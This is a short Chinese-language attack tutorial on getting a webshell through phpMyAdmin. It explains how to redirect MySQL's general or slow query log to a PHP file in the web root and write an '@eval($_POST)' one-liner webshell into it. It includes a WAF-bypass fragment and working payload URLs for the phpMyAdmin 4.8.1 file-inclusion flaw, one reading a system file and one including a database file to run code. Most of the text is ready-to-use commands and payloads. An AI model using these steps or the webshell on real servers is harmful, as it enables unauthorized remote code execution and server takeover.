phpmyadmin_getshell
方法一(应该不能用)
1 | CREATE TABLE `test`.`xiaoma` (`xiaoma1` varchar(255) ); |
- 失败提示
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
- secure-file-priv这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv是一个空值(NULL)。我们现在设置为网站的根目录,再去尝试使用INTO OUTFILE getshell。
- 但是在我们使用SQL修改的时候,发现这个值是只读的。
- 只能够通过以下方式修改
windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。
方法二
general_log默认为关闭的,root权限开启后,general_log_file会保存所有的查询语句,可以开启general_log,然后设置general_log_file为一个php文件,最后用一句话木马进行查询来获取shell
查看general log是否开启
1
show variables like 'general_log';
开启general log
1
SET GLOBAL general_log = ON
把general_log_file设置为shell的绝对路径
1
SET global general_log_file='D:/wamp/www/777.php';
执行SQL查询语句,写个一句话进去。
1
SELECT '<?php @eval($_POST["aaa"]);?>';
绕过waf
1 | select '<?php /*'; |
- 成功插入了一句话木马
方法三
原理同上,只是用的慢查询日志
设置slow_query_log=1.即启用慢查询日志(默认禁用)。
1
show variables like '%slow_query_log%';
伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名(没有会自动创建)
1
set global slow_query_log_file='dir\filename'
向日志文件写入shell
1
select "<?php @eval($_POST['aaa']); ?>" or sleep(11);
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。
phpmyadmin4.8.1后台getshell
任意文件包含
payload
1
http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini
把WebShell写入到数据库中然后包含数据库文件
1
http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm